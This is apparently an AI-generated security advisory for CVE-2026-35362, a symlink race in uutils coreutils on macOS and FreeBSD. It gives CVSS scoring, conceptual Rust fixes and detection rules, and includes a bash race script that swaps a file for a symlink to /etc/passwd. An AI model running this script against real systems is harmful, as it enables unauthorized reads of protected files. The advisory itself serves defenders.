CVE-2026-35362

Executive Summary

CVE-2026-35362 is a Time-of-Check to Time-of-Use (TOCTOU) race condition vulnerability in the safe_traversal module of the uutils coreutils project. This module is designed to protect against symlink race attacks by using file-descriptor-relative system calls (e.g., openat, fstatat). However, the implementation was incorrectly limited to Linux targets. On other Unix-like systems such as macOS and FreeBSD, the utility falls back to path-based operations, leaving directory traversal operations vulnerable to symlink race conditions.

An attacker with local access could exploit this by rapidly swapping a legitimate file or directory with a symbolic link during the time window between the path check and the file operation. This could lead to unauthorized file access, privilege escalation, or data corruption.

Supply Chain & Package Security

This vulnerability affects the uutils coreutils package, which is a Rust-based reimplementation of GNU coreutils. It is distributed via package managers (e.g., cargo, brew, apt for some distributions) and is used in various development and production environments. The supply chain risk is moderate, as the vulnerable code is only triggered on non-Linux Unix-like systems. However, any system running a vulnerable version of uutils coreutils on macOS or FreeBSD is at risk.

CVSS Breakdown & Threat Level

• CVSS Score: 3.6 (Low)
• Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): High (H) – Successful exploitation requires precise timing and a race condition.
• Privileges Required (PR): Low (L) – The attacker needs a low-privileged user account.
• User Interaction (UI): None (N) – No user interaction is required beyond the attacker's actions.
• Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited unauthorized file read is possible.
• Integrity (I): Low (L) – Limited unauthorized file modification is possible.
• Availability (A): None (N) – No impact on system availability.

Threat Level: Low. Exploitation is difficult due to the race condition requirement and local access. However, in multi-tenant environments or shared hosting, the risk is elevated.

Deep Dive & Mechanics

The safe_traversal module in uutils coreutils is designed to prevent TOCTOU symlink races. The standard approach to mitigate such races is to use file-descriptor-relative syscalls. For example, instead of:

1. Check if /path/to/file is a symlink.
2. Open /path/to/file.

The safe approach is:

1. Open the parent directory (/path/to) and get a file descriptor.
2. Use openat(fd, "file", flags) to open the file relative to that descriptor.

This ensures that the file being opened is the same one that was checked, because the file descriptor pins the directory entry.

The Vulnerability: The safe_traversal module only implemented this protection for Linux targets. On macOS and FreeBSD, the code fell back to the unsafe path-based approach. This means that on these systems, an attacker could:

1. Create a legitimate file /tmp/victim/file.
2. The victim process checks /tmp/victim/file (e.g., using lstat).
3. The attacker quickly replaces /tmp/victim/file with a symlink to /etc/passwd.
4. The victim process opens /tmp/victim/file, which now points to /etc/passwd.

This race window is very small, but it is exploitable, especially if the attacker can repeatedly trigger the operation.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In safe_traversal.rs (pre-fix)
#[cfg(target_os = "linux")]
fn open_safe(path: &Path) -> Result<File> {
    // Use openat, fstatat, etc.
}

#[cfg(not(target_os = "linux"))]
fn open_safe(path: &Path) -> Result<File> {
    // Fallback to unsafe path-based open
    File::open(path)
}

Patched Code (Conceptual):

// In safe_traversal.rs (post-fix)
// Use conditional compilation for all Unix-like systems
#[cfg(any(target_os = "linux", target_os = "macos", target_os = "freebsd"))]
fn open_safe(path: &Path) -> Result<File> {
    // Use openat, fstatat, etc. (works on all these systems)
}

#[cfg(not(any(target_os = "linux", target_os = "macos", target_os = "freebsd")))]
fn open_safe(path: &Path) -> Result<File> {
    // Fallback for other systems (e.g., Windows)
    File::open(path)
}

The fix ensures that the file-descriptor-relative syscalls are used on macOS and FreeBSD, which support them natively.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to a vulnerable system (macOS or FreeBSD).
• A low-privileged user account.
• A target file that the victim process will access (e.g., a configuration file).

Exploitation Steps:

1. Identify a vulnerable utility: Any uutils coreutils command that performs directory traversal (e.g., cp, mv, ls, rm).
2. Set up the race: Create a directory /tmp/race_target/ and a legitimate file /tmp/race_target/file.
3. Run the victim command: In a loop, run the vulnerable utility on /tmp/race_target/file.
4. Simultaneously swap the file: In another loop, replace /tmp/race_target/file with a symlink to a sensitive file (e.g., /etc/passwd).

Example Script (Bash):

#!/bin/bash
# Red Team: Exploit CVE-2026-35362

TARGET_DIR="/tmp/race_target"
SENSITIVE_FILE="/etc/passwd"
VICTIM_CMD="uutils_cp"  # Replace with actual vulnerable command

mkdir -p "$TARGET_DIR"
echo "legitimate content" > "$TARGET_DIR/file"

# Loop to trigger the race
while true; do
    # Victim process
    $VICTIM_CMD "$TARGET_DIR/file" /tmp/output &
    # Attacker swap
    ln -sf "$SENSITIVE_FILE" "$TARGET_DIR/file" &
    wait
    # Reset
    echo "legitimate content" > "$TARGET_DIR/file"
done

Expected Outcome: With sufficient iterations, the victim process will read the contents of /etc/passwd instead of the legitimate file.

Blue Team (Detection & Prevention)

Detection:

• Monitor for rapid file creation/deletion in directories used by uutils coreutils.
• Look for processes repeatedly opening and closing the same file path.
• Use auditd (Linux) or macOS's Endpoint Security Framework to log file operations.

Prevention:

• Apply the patch immediately.
• Use the patched version of uutils coreutils (>= 0.0.30).
• If patching is not possible, restrict local access to trusted users only.
• Use mandatory access controls (e.g., SELinux, AppArmor) to limit the impact of symlink attacks.

Indicators of Compromise (IOCs)

• File System Anomalies:
  • Rapid creation and deletion of symbolic links in directories used by uutils coreutils.
  • Unexpected symlinks pointing to sensitive files (e.g., /etc/passwd, /etc/shadow).
• Process Behavior:
  • High frequency of openat or fstatat syscalls on non-Linux systems (may indicate exploitation attempts).
  • Repeated access to the same file path by a uutils coreutils command.
• Log Entries:
  • Audit logs showing rapid file type changes (regular file to symlink and back).
  • Error logs from uutils coreutils indicating unexpected file types.

Detection Engineering

YARA Rule

rule CVE_2026_35362_TOCTOU_Symlink_Race {
    meta:
        description = "Detects potential exploitation of CVE-2026-35362 by monitoring for rapid symlink creation"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-35362"
    strings:
        $symlink_creation = /ln -sf \/etc\/(passwd|shadow|sudoers) \/tmp\/race_target\/file/ nocase
        $rapid_loop = /while true; do.*ln -sf.*done/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2026-35362 TOCTOU Symlink Race Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects rapid file type changes indicative of a symlink race attack
author: Valters IT
date: 2026-01-01
logsource:
    category: file_event
    product: linux
detection:
    selection:
        EventID: 11  # FileCreate
        TargetFilename|endswith: '\/tmp\/race_target\/file'
    condition: selection
    timeframe: 1s
    count: 5
falsepositives:
    - Legitimate rapid file operations
level: medium

Suricata Rule

alert file any any -> any any (msg:"CVE-2026-35362 TOCTOU Symlink Race Attempt"; file.name:"/tmp/race_target/file"; file.magic:"symbolic link"; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Update uutils coreutils to version 0.0.30 or later. The fix extends the safe_traversal module to all Unix-like systems.
2. Workaround: If patching is not immediately possible, restrict the use of uutils coreutils on macOS and FreeBSD systems. Use the native system utilities instead (e.g., /bin/cp, /bin/mv).

Long-Term Mitigations:

• Code Review: Ensure that all platform-specific code in open-source projects is properly tested on all supported platforms.
• Static Analysis: Use tools like cargo-audit to detect known vulnerabilities in Rust dependencies.
• Runtime Protection: Deploy security modules (e.g., SELinux, AppArmor) that can restrict symlink following in sensitive directories.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. All information is provided for authorized security testing and defense purposes only.

{/* [Security Hash: 6BAAC303BE45EBAD910EF532] */}